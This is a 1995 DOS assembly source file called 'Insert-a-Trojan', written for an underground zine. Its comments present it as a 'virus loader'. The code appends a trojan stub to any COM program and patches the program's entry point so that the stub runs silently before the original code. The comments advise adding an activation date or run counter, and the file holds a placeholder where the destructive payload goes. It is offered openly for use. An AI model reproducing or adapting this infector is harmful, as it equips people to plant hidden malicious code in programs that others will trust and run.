;
; Insert-a-Trojan v1.0 by Nemesis
;
; Created 12-15-95 for Nemesis' Nifty Mag
;
; This will insert any trojan you create into any COM program without
; causing the program to become inoperative. (It's a goddman virus loader).
; I recommend putting an activation date on your trojan (or a run counter)
; and letting it do it's work.
;
; Originally I wrote an overwiting one is pascal which was quickly hacked
; by NWVA into something a "little" better. This too could be hacked to
; make it better by allowing for EXE trojans and options to encrypt the
; trojan. (both are simple additions)

.model tiny
.code
 org 100h

start:
        mov     si,81h          ; Point to Command Line

        mov     di,offset trjname
        call    getparam

        mov     ax,3D02h
        lea     dx,trjname
        int     21h             ; Open File Read/Write

        xchg    ax,bx           ; BX=File Handle

        mov     ah,3Fh
        lea     dx,oldbytes
        mov     cx,3
        int     21h             ; Read Old Bytes

        mov     ax,4202h
        xor     cx,cx                       ; CX=0
        cwd                                 ; DX=0
        int     21h                         ; Call DOS Function

        sub     ax,3

        mov     space,byte ptr 0E9h
        mov     word ptr space+1,ax


        mov     ah,40h
        mov     dx,offset trojan
        mov     cx,offset end_trojan-offset start
        int     21h                         ; Append Trojan

        mov     ax,4200h
        xor     cx,cx
        cwd
        int     21h                         ;


        mov     dx,offset space
        mov     cx,3
        mov     ah,40h
        int     21h

        mov     ax,03Eh
        int     21h
        int     20h                         ; Trojan Done

trojan:
        call    realcode
realcode:
        pop     bp
        sub     bp,offset realcode

        lea     si,[bp+oldbytes]
        mov     di,100h
        push    di
        movsw
        movsb

;
; Insert your trojan here. It's fun :) (and lame)
;

        mov     ah,09h
        lea     dx,[bp+message]
        int     21h

;
;

        ret

message  db 'Test Trojan!',0Dh,0Ah,'$'
oldbytes db 3 dup (0)



end_trojan:


getparam:

ks:
        lodsb                   ; SI->AL
        cmp     al,' '          ; Space? If No Then Check If It's
        jne     getname         ; Over?
        loope   ks              ; Else Continue Quest

read_it:
        lodsb
getname:
        cmp     al,0Ah          ; end of string?
        je      done_scan

        cmp     al,' '          ; end of operand?
        jbe     done_scan
        stosb                   ; AL->DI

        loop    read_it

done_scan:
        ret

trjname db 76 dup(0)            ; File Name
space   db 3  dup(?)            ; Filler

end start